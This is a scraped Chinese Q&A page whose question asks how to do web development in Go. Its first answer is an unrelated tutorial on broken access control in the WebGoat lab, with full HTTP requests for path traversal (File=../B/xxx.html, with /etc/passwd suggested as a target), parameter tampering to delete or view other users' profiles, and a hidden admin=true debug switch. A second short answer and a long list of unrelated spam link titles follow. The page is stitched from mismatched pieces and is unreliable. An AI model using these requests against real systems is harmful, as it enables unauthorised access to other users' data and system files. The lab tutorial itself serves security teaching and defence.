问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

go语言怎样做web开发

发布网友 发布时间:2022-04-29 21:11

我来回答

2个回答

懂视网 时间:2022-04-12 14:51

在一个基于角色的 访问 控制 方案中,角色代表了一组 访问 权限和特权。一个用户可以被分配一个或多个角色。一个基于角色的 访问 控制 方案通常有两个部分组成:角色权限管理和角色分配。一个被破坏的基于角色的 访问 控制 方案可能允许用户执行不允许他/她

  在一个基于角色的访问控制方案中,角色代表了一组访问权限和特权。一个用户可以被分配一个或多个角色。一个基于角色的访问控制方案通常有两个部分组成:角色权限管理和角色分配。一个被破坏的基于角色的访问控制方案可能允许用户执行不允许他/她的被分配的角色,或以某种方式允许特权升级到未经授权的角色的访问。

1. 绕过基于路径的访问控制方案

  在一个基于路径的访问控制方案中,攻击者可以通过提供相对路径信息遍历路径。因此,攻击者可以使用相对路径访问那些通常任何人都不能直接访问或直接请求就会被拒绝的文件。

  例如在一个基于权限的卖家管理系统,每个卖家只能操作自己的订单信息和商品信息,现在有卖家A和卖家B。A的商品信息被放在/webapps/A/下,例如/webapps/A/item1.html。A可以通过商品列表接口访问自己的商品信息,服务器验证A的身份后将A目录下的商品列表返回给客户端。A浏览自己商品时会向服务器发送访问请求,请求如下:

POST http://localhost:8080/WebGoat/attack?Screen=57&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=57&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

File=item1.html&SUBMIT=View+File

  服务器收到请求后在A的目录下获取到item1.html并将结果返回给客户端。比较粗心的程序员在获取商品详情时没有再次校验卖家对目录的权限访问,黑客可意利用这个疏忽通过修改参数来欺骗服务器。例如修改请求参数如下:

POST http://localhost:8080/WebGoat/attack?Screen=57&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=57&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

File=../B/xxx.html&SUBMIT=View+File

  服务器收到请求后,验证A用户是登陆的,然后将根目录设置为/webapps/A/访问../B/xxx.html,实际访问到了卖家B的商品信息/webapps/B/xxx.html,从而将B的商品详情(包括成本价信息)泄露给了A卖家。更为脆弱的系统可能会造成重要信息的泄露,例如将请求中File的参数设置成/etc/passwd或者/etc/passwd,则可能会获取到系统用户的信息,造成更为严重的损失。

2.基于角色的访问控制

  很多网站都尝试使用基于角色的方式严格限制资源访问,但开发人员在实现这类解决方案时容易出现疏忽。例如对于资源S,Tom和John均具有访问权限,John相对于Tom可以修改和删除资源S。客户Tom登录系统后服务器返回Tom的访问权限,并返回只有view按钮的html页面:

  Jone登录系统后服务器返回带有view和delete的html页面:

  点击delete操作,客户端向服务器发送如下请求:

POST http://localhost:8080/WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=65&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

employee_id=105&action=DeleteProfile 

  服务器受到上述请求后,执行了delete操作。tom在view资源S时会向服务器发送如下请求:

POST http://localhost:8080/WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 34
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/WebGoat/attack?Screen=65&menu=200
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FB890B2A9D89628CF57454C6700CE7DC

employee_id=105&action=ViewProfile  

  tom知道上述信息后可以尝试把自己的post参数做下修改,将post的参数串修改为employee_id=105&action=DeleteProfile发送给服务器。粗心的程序员因为疏忽没有再次校验tom的权限,导致tom成功执行了john的delete权限。同样的方法tom通过修改url执行系统管理员admin的操作,对服务器造成威胁。

  在通过view请求tom可以查看相关资料的详细信息。

  从上面请求参数中可以看出资料的id用employee_id表示,如果尝试修改employee_id=101重新发送请求,则会收到服务器的答复如下:

  成功的绕过展现层的限制访问到了Larry的资料。

  要预防上述操作服务器端服务务必要加强请求参数的过滤校验,以及权限的验证,每个请求都不要信任之前所做的操作,要不信任所有外部输入的参数,加强校验,尤其是对比较敏感的操作比如支付、删除、改价操作。如果多个接口共同对外提供服务,我们可以通过展示层的包装和内部跳转逻辑使整个流程处在一个理想的环境,但是只要各个接口独立就会被黑客所利用制造不合理的请求;因此系统在设计的时候不要仅仅考虑正常的情况是什么样,还要考虑异常(人为)情况的处理,务必要在每个环节做好严格的参数校验和权限校验,坚持不信任原则。

3. 远程管理访问

  很多网站开发人员在脚本中预留了相关的参数接口,一旦该参数被后台程序确认,则访问者的权限会被放大,浏览到先前不能访问的资源,如:程序调试日志、隐藏功能菜单等。例如某接口想设置一个admin=true的参数使开发人员可以在任何地方打开调试信息或者后台数据用于调试。例如http://localhost:8080/WebGoat/attack?Screen=28&menu=2000页面只会展示用户自身的身份信息,如果开发人员喜欢进行一些调试修改URL为:http://localhost:8080/WebGoat/attack?Screen=28&menu=2000&admin=true,服务器返回所有用户的详细资料,方便了外网的调试。

  外网调试固然方便,但方便自己的同时也方便了不法人员,互联网上是没有秘密的,一旦密码被别人获取,就可以由此攻击对应的服务,造成不必要的损失,在实际操作时,一定要保证外网的服务关闭相应的调试功能。

热心网友 时间:2022-04-12 11:59

不会成为web主流
go是设计初衷来做系统应用和取代C++的....
目前主要用传统编译型语言编译成机器码的形式...
和web开发的跨平台标准化等特性有距离...
会成为很方便系统应用开发、客户端开发的语言...
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
现在思科的CCNA,CCNE,CCIP的考证费分别是多少啊,通过率怎样 长春小飞没有车没有房 碳钢的多久生锈 碳钢多久会生锈 碳钢多长时间会开始生锈 碳钢和铝哪个容易生锈 梦见天宫图是什么意思 光遇2023好友树解锁图鉴 光遇二级节点多少个 ...火柴小女孩》《词语手册》里有很多词语的意思的,求告知 暖融融解释 国研茗萃国际医药研究院到底是真的还是假的? 安全生产费用的的计提及会计分录? 国研茗萃国际医药研究院是不是传销 茗萃什么意思 茗萃洗发水好吗? 计提费用怎么做分录 我去银行存钱,他们叫我存成国债,这是合法的吗 买国债跟银行存款一样吗拜托各位了 3Q 银行定期存款和国债的区别是什么 电子储蓄国债算存在银行的资产吗? 买国债就是存钱进银行吗 国债属于银行存款吗 国债是不是也属于50万定期存款吗 在某个银行购买的国债,算不算《银行法》定义的该银行的存款 从法律意义上讲,国债属于银行存款吗? 彩虹六号卡死 洗衣机盖子是开着好还是关着好? 玩彩虹六号围攻总是被阻止访问图形硬件 软件打开出现电脑蓝屏重启是什么问题? 为什么就连新出的华为手机也取消耳机孔了 国研茗萃(北京)国际医药研究院怎么样? 小米电视1怎么找荔枝tv 国研茗萃(北京)国际医药研究院上海分院怎么样? Go语言以后会不会成为web主流开发语言? 国研茗萃中医学校靠谱么?有知道的么?网上看证书倒是挺全的有人去过吗? go语言以后会不会成为主流web开发语言 佳兆业茗萃园交通方便吗?应该怎么过去? 月末要做的结转和计提会计分录有哪些? 请帮忙写副茶楼的对联 对联最好带“慕茗” 或者带“逸海茗萃”的!! 拜托了!!! 常州金坛茅山茗萃园茶业有限公司怎么样? 0基础学go语言学到什么程度可以转型go开发? 求花千骨同人耽美小说,白子画攻杀阡陌受的文 杀阡陌白子画同人耽美小说 找花千骨里面白子画同人文 主角要白子画 女主穿越的 请问有没有花千骨同人耽美小说,就是白子画和东方彧卿在一起的,或者花千... oppo R9摔碎了是黑屏状态其他都还正常,怎么办呢? 紫胤真人白子画同人文 霓漫天白子画同人文缠绵 在哪里可以看到免费的飞卢小说 有没有白子画爱上了东方彧卿或者杀阡陌的《花千骨》同人耽美小说?